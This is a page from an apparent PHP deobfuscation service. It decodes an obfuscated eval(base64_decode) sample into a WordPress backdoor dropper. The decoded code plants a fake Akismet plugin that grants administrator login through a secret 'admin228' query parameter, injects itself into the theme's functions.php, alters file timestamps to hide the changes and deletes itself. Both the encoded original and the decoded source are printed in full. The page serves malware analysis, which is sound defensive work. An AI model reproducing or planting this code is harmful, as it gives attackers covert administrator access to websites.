Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<!--2go5jbrN--> <?php eval(base64_decode('PD9waHAKaWYoIWRlZmluZWQoJ0FCU1BBVEgnKSl7cmVxdW..

Decoded Output download

<?php
if(!defined('ABSPATH')){require_once($_SERVER['DOCUMENT_ROOT'].'/wp-load.php');}$_0=WP_CONTENT_DIR.'/plugins/akismet-plugin';if(!is_dir($_0)){mkdir($_0,0755,true);}$_1=$_0.'/akismet.php';$_2="<?php\nif(isset(\$_GET['admin228'])){\nadd_action('init',function(){\n\users=get_users(['role'=>'administrator']);\nwp_set_auth_cookie(\$users[0]->ID);\nwp_redirect(home_url());\nexit;\n});\n}\n";if(file_put_contents($_1,$_2)===false){exit();}if(!touch($_1)){exit();}$_3=glob($_0.'/*');foreach($_3 as $_4){if(is_file($_4)){touch($_4);}}$_5=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(WP_CONTENT_DIR.'/plugins',RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);foreach($_5 as $_6){touch($_6->getPathname());}$_7=get_template_directory().'/functions.php';if(!file_exists($_7)){exit();}$_8="include_once(WP_CONTENT_DIR.'/plugins/akismet-plugin/akismet.php');\n";$_9=file_get_contents($_7);if(strpos($_9,$_8)===false){$_9=preg_replace('/^<\?php\s*/',"<?php\n".$_8,$_9,1,$_10);if($_10===0){$_9="<?php\n".$_8.$_9;}file_put_contents($_7,$_9);}$_11=glob(get_template_directory().'/*');foreach($_11 as $_12){if(is_file($_12)){touch($_12);}}unlink(__FILE__);
?>

Did this file decode correctly?

Original Code

<!--2go5jbrN-->
<?php
eval(base64_decode('PD9waHAKaWYoIWRlZmluZWQoJ0FCU1BBVEgnKSl7cmVxdWlyZV9vbmNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy93cC1sb2FkLnBocCcpO30kXzA9V1BfQ09OVEVOVF9ESVIuJy9wbHVnaW5zL2FraXNtZXQtcGx1Z2luJztpZighaXNfZGlyKCRfMCkpe21rZGlyKCRfMCwwNzU1LHRydWUpO30kXzE9JF8wLicvYWtpc21ldC5waHAnOyRfMj0iPD9waHBcbmlmKGlzc2V0KFwkX0dFVFsnYWRtaW4yMjgnXSkpe1xuYWRkX2FjdGlvbignaW5pdCcsZnVuY3Rpb24oKXtcblx1c2Vycz1nZXRfdXNlcnMoWydyb2xlJz0+J2FkbWluaXN0cmF0b3InXSk7XG53cF9zZXRfYXV0aF9jb29raWUoXCR1c2Vyc1swXS0+SUQpO1xud3BfcmVkaXJlY3QoaG9tZV91cmwoKSk7XG5leGl0O1xufSk7XG59XG4iO2lmKGZpbGVfcHV0X2NvbnRlbnRzKCRfMSwkXzIpPT09ZmFsc2Upe2V4aXQoKTt9aWYoIXRvdWNoKCRfMSkpe2V4aXQoKTt9JF8zPWdsb2IoJF8wLicvKicpO2ZvcmVhY2goJF8zIGFzICRfNCl7aWYoaXNfZmlsZSgkXzQpKXt0b3VjaCgkXzQpO319JF81PW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcihXUF9DT05URU5UX0RJUi4nL3BsdWdpbnMnLFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpO2ZvcmVhY2goJF81IGFzICRfNil7dG91Y2goJF82LT5nZXRQYXRobmFtZSgpKTt9JF83PWdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKS4nL2Z1bmN0aW9ucy5waHAnO2lmKCFmaWxlX2V4aXN0cygkXzcpKXtleGl0KCk7fSRfOD0iaW5jbHVkZV9vbmNlKFdQX0NPTlRFTlRfRElSLicvcGx1Z2lucy9ha2lzbWV0LXBsdWdpbi9ha2lzbWV0LnBocCcpO1xuIjskXzk9ZmlsZV9nZXRfY29udGVudHMoJF83KTtpZihzdHJwb3MoJF85LCRfOCk9PT1mYWxzZSl7JF85PXByZWdfcmVwbGFjZSgnL148XD9waHBccyovJywiPD9waHBcbiIuJF84LCRfOSwxLCRfMTApO2lmKCRfMTA9PT0wKXskXzk9Ijw/cGhwXG4iLiRfOC4kXzk7fWZpbGVfcHV0X2NvbnRlbnRzKCRfNywkXzkpO30kXzExPWdsb2IoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpLicvKicpO2ZvcmVhY2goJF8xMSBhcyAkXzEyKXtpZihpc19maWxlKCRfMTIpKXt0b3VjaCgkXzEyKTt9fXVubGluayhfX0ZJTEVfXyk7Cj8+'));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 40f1da9026d09018afd0126f1cc17986
Eval Count 1
Decode Time 52 ms